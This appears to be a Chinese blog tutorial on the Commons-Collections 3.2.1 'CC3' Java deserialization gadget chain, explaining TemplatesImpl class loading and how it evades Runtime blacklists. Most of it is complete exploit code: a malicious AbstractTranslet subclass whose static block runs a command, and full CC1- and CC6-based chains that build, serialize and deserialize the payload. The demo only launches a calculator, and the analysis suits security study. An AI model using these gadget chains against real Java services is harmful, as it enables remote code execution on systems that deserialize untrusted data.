前言

CC3 链同之前我们讲的 CC1 链与 CC6 链的区别之处是非常大的。原本的 CC1 链与 CC6 链是通过 Runtime.exec() 进行命令执行的。而很多时候服务器的代码当中的黑名单会选择禁用 Runtime

而 CC3 链,则是通过动态加载类加载机制来实现自动执行恶意类代码的。所以我们先来过一遍 Java 动态类加载机制。

环境

  • jdk8u65
  • Commons-Collections 3.2.1

TemplatesImpl 解析

在之前的类的动态加载文章中,提到了一种通过ClassLoader#defineClass直接加载字节码的方法,在这一条链子中,流程图如下:

画板

我们正向去看,首先来到loadClass,他的作用是从已加载的类缓存,父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass()

来到 findClass() 方法,他的流程如下:

  • 根据名称或位置加载 .class 字节码,然后使用 defineClass,代码实例如下。
  • 通常由子类去实现。
  • defineClass() 的作用是处理前面传入的字节码,将其处理成真正的 Java 类。

此时的 defineClass() 方法是有局限性的,因为它只是加载类,并不执行类。若需要执行,则需要先进行 newInstance() 的实例化。

现在我们的 defineClass() 方法的作用域为 protected,我们需要找到作用域为 public 的类,方便我们利用。我们查找用法。

随后我们就在TemplatesImpl 类的 static class TransletClassLoader 中找到了我们能够运用的类。

我们可以看到他的作用域是默认的,也就是可以在当前类中调用的,找到它的用法

我们看到调用他的方法defineTransletClasses的作用域是private,所以我们看一看谁调用了 defineTransletClasses() 方法。这里还有一点需要注意的,_bytecodes 的值不能为 null,否则会抛出异常。

还是同一个类下的 getTransletInstance() 方法调用了 defineTransletClasses() 方法,并且这里有一个 newInstance() 实例化的过程,如果能走完这个函数那么就能动态执行代码,但是因为它是私有的,所以继续找是否有其他方法调用了它。

可以看到这里已经被一个public的方法调用了,开始我们的利用。

TemplatesImpl 利用

利用逻辑

根据之前的分析,整体的调用链如下:

1
newTransformer()->getTransletInstance()->defineTransletClasses()->defineClass()->defineClass()->defineClass()

在分析过程我们说到只要走过 getTransletInstance() 方法即可,因为这个方法内调用了 newInstance() 方法,简单的利用代码如下。

1

如果没有限制条件,我们就只需要这两行代码就可以实现完整的调用链。不过我们还需要满足一些限制条件才能创建完整的调用链。接下来我们分析限制条件。

限制条件

限制条件总共有四个:

  • _name:不能为null,否则后续代码不执行。
  • _class:必须为null,否则不执行defineTransletClasses()
  • _bytecodes:不能为null,否则抛出错误。
  • _tfactory:不能为null,否则无法调用getExternalExtensionsMap(),发生错误。

接下来分析他们都需要什么类下的数据。

_name:这里需要的是 String,所以我们简单赋个 String 即可。

_class:应当为 null,我们去看 TemplatesImpl 的构造方法发现没有给 _class 赋初值,所以不用管它。

_bytecodes:需要一个二维数组,所以我们创建一个二维数组,但是 _bytecodes 作为传递进 defineClass 方法的值是一个一维数组。而这个一维数组里面我们需要存放恶意的字节码。所以这段代码我们可以这样写。

1
2
byte[] evil = Files.readAllBytes(Paths.get("C:\\tmp\\classes\\Calc.class"));
byte[][] codes = {evil};

然后我们编写一个恶意类,编译后放在对应位置即可,恶意类如下:

1
2
3
4
5
6
7
8
9
10
11
12
import java.io.IOException;

public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

因为在类初始化的时候会自动加载静态代码块,所以我们就直接编写一个静态代码块即可。

_tfactory:它在 TemplatesImpl 这一类中被定义如下

1
private transient TransformerFactoryImpl _tfactory = null;

关键字是 transient,这就导致了这个变量在序列化之后无法被访问。直接修改是不行的,但是我们这里的利用要求比较低,只要让 _tfactory 不为 null 即可,我们去看一看 _tfactory 的其他定义如何。

readObject() 方法中,找到了 _tfactory 的初始化定义。

这时不为null,所以这里直接在反射中将其赋值为 TransformerFactortImpl 即可。

最后完整的EXP如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
public static void main(String[] args) throws TransformerConfigurationException, IOException, IllegalAccessException, NoSuchFieldException {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
// 赋值_name
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"hada");
// 赋值_bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("C:\\tmp\\classes\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
// 赋值_tfactory
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}

按照分析,上述代码已经能够调用完整的利用链了,我们运行一下。结果发现出现了如下的报错:

根据报错我们可知这是出现空指针的问题,我们渠道错误的地方打个断点看看是什么情况。发现问题出在这里:

418 行,判断在 defineClass() 方法中传进去的参数 b 数组的字节码是否继承了 ABSTRACT_TRANSLET 这个父类,如果没有则抛出异常,所以我们需要去恶意类中继承 ABSTRACT_TRANSLET 这个父类。

我们也可以将 _auxClasse 赋值,使其不为 null。但是如果没有继承 ABSTRACT_TRANSLET 这个父类,会导致 _transletIndex 的值为 -1,在第 426 行的判断当中跳出程序。

修改我们恶意类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

编译后替换掉原本的字节码,运行即可弹出计算器

CC链3

分析

因为只需要调用 TemplatesImpl 类的 newTransformer() 方法,便可以进行命令执行,所以我们去到 newTransformer() 方法下,查找用法。

这里找到了四个类中的用法。

Process 这个在 main 里面,是作为一般对象用的,所以不用它。

getOutProperties,是反射调用的方法,可能会在 fastjson 的漏洞里面被调用。

TransformerFactoryImpl 不能序列化,如果还想使用它也是也可能的,但是需要传参,我们需要去找构造函数。而它的构造函数难传参。

TrAXFilter,它也是不能序列化的,但是我们去到它的构造函数看,是较为容易传参的。

这个类的构造函数中有这一条语句,所以我们只要执行这个类的构造函数即可命令执行。

CC3 的作者没有调用 InvokerTransformer,而是调用了一个新的类 InstantiateTransformerInstantiateTransformer 这个类是用来初始化 Transformer 的,我们去找 InstantiateTransformer 类下的 transform 方法。

为空会抛出异常,如果不为空就会获取其中的构造器,并调用构造函数。

构造EXP

我们后半段的命令执行是不变的,也就是 TemplatesImpl 的 EXP 是不变的。我们先编写后半部分链子的 EXP。InstantiateTransformer 类这里的传参我们去看一下,要求传入如此的参数。

那我们这里传入 new Class[]{Templates.class}new Object[]{templates} 即可。下面是后半部分的 EXP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"hada");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("C:\\tmp\\classes\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}
}

后半部分 EXP 写好了,我们去找入口类的前半部分。而前半部分链子从谁调用了 transform 方法开始,所以 CC1 链和 CC6 链的前半部分 EXP 都是有效的。

CC1 链作为前半部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"hada");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("C:\\tmp\\classes\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
, new Class[]{Map.class}, invocationHandler);
Object o = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

CC6链作为前半部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"hada");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("C:\\tmp\\classes\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove("key");
// 在 put 之后通过反射修改值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

小结:

以上就是完整的CC3链解析了,CC3的核心其实就是另一种代码执行的方式,从原本的黑名单中逃逸了出来。下面是别人做的流程图: